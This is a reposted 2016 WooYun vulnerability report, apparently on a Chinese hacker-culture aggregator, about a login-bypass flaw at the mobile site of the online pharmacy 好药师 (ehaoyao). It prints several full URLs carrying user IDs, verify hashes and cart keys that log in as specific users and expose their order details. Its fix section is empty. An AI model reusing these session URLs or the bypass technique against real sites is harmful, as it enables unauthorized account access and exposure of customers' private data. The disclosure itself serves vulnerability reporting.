记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

好药师某站系统存在设计缺陷 UserKey用户可直接绕过登陆

2016-04-10 18:45

http://m.ehaoyao.com/webOrder.do?method=homePage&cartkey=4b00f90f-a7da-4576-b782-e155fb890b64&ehyUID=158873&verify=aa7d49fc3c9783183bf5f70d48ccf310&fd_uuid=mobile&userLoginName=5311%E7%9A%84%E5%A5%BD%E8%8D%AF%E5%B8%88&cyUserState=&activitystate=0#



UserKey自动登录成功



捕获9.GIF





捕获99.GIF



订单信息泄漏





code 区域
http://m.ehaoyao.com/webOrder.do?method=homePage&fd_uuid=mobile&cartkey=d1db1a7a-13cd-40d7-9394-3a0ef365cd19&&ehyUID=951309&verify=a29b0a2040f9cd9bf156618d4dd32902&userLoginName=ehyFXz1442740464541&cyUserState=





捕获9898.GIF







code 区域
http://m.ehaoyao.com/webOrder.do?method=ucenterOrderDetail&oid=160315152908809&ehyUID=951309&verify=a29b0a2040f9cd9bf156618d4dd32902&userLoginName=ehyFXz1442740464541&cyUserState=&fd_uuid=mobile&cartkey=d1db1a7a-13cd-40d7-9394-3a0ef365cd19







捕获999.GIF





漏洞证明:

code 区域
http://m.ehaoyao.com/webOrder.do?method=homePage&cartkey=4b00f90f-a7da-4576-b782-e155fb890b64&ehyUID=158873&verify=aa7d49fc3c9783183bf5f70d48ccf310&fd_uuid=mobile&userLoginName=5311%E7%9A%84%E5%A5%BD%E8%8D%AF%E5%B8%88&cyUserState=&activitystate=0#





code 区域
<code>http://m.ehaoyao.com/webOrder.do?method=homePage&fd_uuid=mobile&cartkey=d1db1a7a-13cd-40d7-9394-3a0ef365cd19&&ehyUID=951309&verify=a29b0a2040f9cd9bf156618d4dd32902&userLoginName=ehyFXz1442740464541&cyUserState=

</code>

修复方案:

知识来源: www.wooyun.org/bugs/wooyun-2016-0192495

阅读:120490 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“好药师某站系统存在设计缺陷 UserKey用户可直接绕过登陆”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云